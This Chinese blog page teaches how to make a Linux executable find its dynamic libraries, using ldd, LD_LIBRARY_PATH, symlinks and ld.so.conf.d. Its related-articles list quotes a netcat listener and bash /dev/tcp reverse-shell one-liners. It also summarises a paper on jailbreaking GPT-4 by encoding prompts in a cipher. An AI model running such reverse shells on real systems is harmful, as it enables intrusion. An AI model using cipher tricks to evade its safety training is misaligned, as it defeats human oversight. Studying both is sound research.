    假设我们得到了一个压缩文件,文件解压后得到一个目录文件,目录文件里面包含所需所有的头文件和静态库

    这时候我们怎么运行这个main函数呢?

    这里我们又会使用到一个选项I,这个选项是用来指明头文件的路径

    现在出现一个新的问题!直接运行myexe会报错!

    报错的原因是找不到动态库libmyib.so。我们来看看该可执行文件所依赖的动态库,使用命令:ldd 可执行文件名。ldd即list dynamic dependence。

    ldd myexe

    也就是没找到该动态库。有下面四种解决办法:

    1、将该文件所需的动态库放到系统里的动态库中(不建议使用,风险高)。

    如:sudo cp mylib/lib/* /lib64

    2、使用环境变量

    使用命令:export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:动态库文件路径。这样导入环境变量的话,重启shell又需要重新配置。

    如:export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/xp2/Linux_Primary/day_32/demo_02/dynamiclib/user/mylib/lib

    还可以去系统文件添加环境变量

    在这两个文件中:.bash_profile.bashrc文件。查找到这两个文件的方式就是先cd到用户路径cd ~,再ls -al查看这个路径下所有文件就可以看到这两个文件。

    3、使用软链接的方式(推荐,简单好用)

    在lib64目录下新建一个同动态库名的动态库文件的软链接。

    如:sudo ln -s /home/xp2/Linux_Primary/day_32/demo_02/dynamiclib/user/mylib/lib/libmylib.so /lib64/libmylib.so

    4、在系统目录下(/etc/ld.so.conf.d/)新建一个(文件名.conf)配置文件(推荐)


那么好,Linux基础IO就到这里,如果你对Linux和C++也感兴趣的话,可以看看我的主页哦。下面是我的github主页,里面记录了我的学习代码和leetcode的一些题的题解,有兴趣的可以看看。

Xpccccc的github主页

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/292995.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HCIP【GRE VPN、MGRE VPN与PPP验证综合实验】

目录 实验要求&#xff1a; 实验拓扑图&#xff1a; 实验思路&#xff1a; 实验步骤&#xff1a; 一、配IP地址 &#xff08;1&#xff09;配置所有设备接口的IP地址&#xff1a; &#xff08;2&#xff09;配置私网与公网接口的缺省路由使得公网可通&#xff1a; 二、P…

前端面试题---->JavaScript

const声明的对象属性和数组的值可以被修改吗&#xff1f;为什么 原因&#xff1a;当使用const声明一个对象或数组时&#xff0c;实际上是保证了对象或数组的引用不会被修改&#xff0c;但对象或数组本身的属性或元素是可以被修改的。这是因为const只能保证指向的内存地址不变&a…

操作教程|在MeterSphere中通过SSH登录服务器的两种方法

MeterSphere开源持续测试平台拥有非常强大的插件集成机制&#xff0c;用户可以通过插件实现平台能力的拓展&#xff0c;借助插件或脚本实现多种功能。在测试过程中&#xff0c;测试人员有时需要通过SSH协议登录至服务器&#xff0c;以获取某些配置文件和日志文件&#xff0c;或…

ES学习日记(四)-------插件head安装和一些配套插件下载

前言 接上节,第三方插件选择了时间久,功能丰富,长得丑的head,head 插件在ES 5版本以前开箱即用非常简单&#xff0c;ES 5版本以后需要运行在node环境下&#xff0c;所以我们要先准备一下环境 一.安装Git yum -y install git 二.安装node 安装包位置node for linux下载 解压…

CaT论文翻译

CaT: Balanced Continual Graph Learning with Graph Condensation CaT&#xff1a;通过图压缩实现平衡的连续图学习 Abstract 持续图学习(CGL)的目的是通过以流方式输入图数据来持续更新图模型。由于模型在使用新数据进行训练时很容易忘记以前学到的知识&#xff0c;因此灾…

什么是检索增强生成(Retrieval-Augmented Generation,RAG)

什么是RAG&#xff1f; 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff0c;RAG&#xff09;&#xff0c;是指为大模型提供外部知识源的概念。能够让大模型生成准确且符合上下文的答案&#xff0c;同时能够减少模型幻觉。 用最通俗的语言描述&#xff1a;在已…

向量点乘有哪些作用呢

如下&#xff1a; 1.找到两个向量之间的夹角(不用多说) 2.求一个向量投影在另一个向量的投影&#xff1a; 我们把图中b的在a上的投影向量称作b1吧&#xff0c;因为b1就在a上&#xff0c;所以只需要求出b1的大小&#xff0c;然后乘以a的单位向量&#xff0c;我们就得到向量b1了…

Unity 渲染

渲染的三个阶段 1&#xff1a;应用阶段 1.1 数据的准备 遮挡剔除&#xff0c;层级剔除。 渲染顺序&#xff0c;UI在Herachy窗口按照层级渲染&#xff0c;其余物体由大概按照先近后远。 打包渲染数据发送给显存&#xff0c;主要包括有模型信息&#xff0c;变换矩阵&#xff0c…

归并排序---分治法

1、算法的概念 归并排序&#xff1a;是创建在归并操作上的一种有效的排序算法。算法是采用分治法的一个非常典型的应用&#xff0c;且各层分治递归可以同时进行。归并排序的思路简单&#xff0c;速度仅次于快速排序&#xff0c;为稳定排序算法&#xff0c;一般用于对总体无序&…

MoonBit MeetUp回顾——张正、宗喆:编程语言在云原生与区块链领域的技术探索

宗喆和张正分别给我们带了 KCL 相关的最新进展&#xff0c;由蚂蚁集团开发的 Rust 编写的开源 DSL&#xff0c;目标是优化云原生策略配置和用户体验。它通过引入动态配置管理、配置校验和基础设施抽象等核心概念&#xff0c;解决开发者认知负担、配置膨胀和标准化工具缺乏的问题…

[Windows]服务注册工具(nssm)

文章目录 官网下载地址百度云下载地址NSSM常用命令 使用场景&#xff1a;例如现在我们想开启自动启动一个Java服务,nginx,node等。 官网下载地址 https://nssm.cc/download 百度云下载地址 链接&#xff1a;https://pan.baidu.com/s/111fkBWIS7CTlWIj80Kc8Sg?pwdanan 提取码…

python_2

文章目录 题目一运行结果 题目二运行结果 题目一 代码如下&#xff1a; def merge():ls_0 input("输入一个列表(空格隔开)&#xff1a;").split()ls_1 []for i in ls_0:ls_1.append(i)ls_1.sort()if ls_0 ls_1:print("这是一个有序列表")else:print(&qu…

[Android]模拟器登录Google Play失败

问题&#xff1a; 模拟器登录Google Play失败&#xff0c;提示couldnt sign in there was a problem communicating with google servers. try again later. 原因&#xff1a; 原因是模拟器没有连接到互联网&#xff0c;打开模拟器中Google浏览器进行搜索一样不行。 解决&am…

数据结构--循环链表(C语言实现)

一.循环链表的设计 typedef struct CNode{ int data; struct CNode* next; }CNode ,*CList; 2.循环链表的示意图: 3.循环链表和单链表的区别: 唯一区别,没有空指针,尾节点的后继为头,为循环之意. 二.循环链表的实现 //初始化return true; }//返回key的前驱地址&#xff0c;如果…

蓝桥杯省赛刷题——题目 2656:刷题统计

刷题统计OJ链接&#xff1a;蓝桥杯2022年第十三届省赛真题-刷题统计 - C语言网 (dotcpp.com) 题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做 a 道题目&#xff0c;周六和周日每天做 b 道题目。请你帮小明计算&#xff0c;按照计划他将在第几…

反弹shell

kali监听&#xff1a; nc -lvp port 客户机执行&#xff1a; bash -i >& /dev/tcp/ip/port 0>&1 bash -c "bash -i >& /dev/tcp/ip/port 0>&1" bash -c&#xff1a;告诉 Bash 执行 -c 后面跟随的命令字符串。bash -i&#xff1a;启动一…

抽象类和接口的简单认识

目录 一、抽象类 1.什么是抽象类 2.抽象类的注意事项 3.抽象类与普通类的对比 二、接口 1.接口的简单使用 2.接口的特性 3.接口的使用案例 4.接口和抽象类的异同 一、抽象类 所谓抽象类&#xff0c;就是更加抽象的类&#xff0c;也就是说&#xff0c;这个类不能具体描…

动态规划之子序列(三)

583. 两个字符串的删除操作 给定两个单词 word1 和 word2&#xff0c;找到使得 word1 和 word2 相同所需的最小步数&#xff0c;每步可以删除任意一个字符串中的一个字符。 示例&#xff1a; 输入: “sea”, “eat” 输出: 2 解释: 第一步将"sea"变为"ea"…

论文笔记:GPT-4 Is Too Smart To Be Safe: Stealthy Chat with LLMs via Cipher

ICLR 2024 reviewer评分 5688 1 论文思路 输入转换为密码&#xff0c;同时附上提示&#xff0c;将加密输入喂给LLMLLM输出加密的输出加密的输出通过解密器解密 ——>这样的步骤成功地绕过了GPT-4的安全对齐【可以回答一些反人类的问题&#xff0c;这些问题如果明文问的话&…

Linux 安装Mysql

安装源文件版本&#xff1a;mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz 安装前&#xff0c;我们可以检测系统是否自带安装 MySQL: rpm -qa | grep mysql如有&#xff0c;类似 mysql-libs-5.1.52-1.el6_0.1.x86_64那可以选择进行卸载: rpm -e mysql-libs-5.1.52-1.el6_0.1…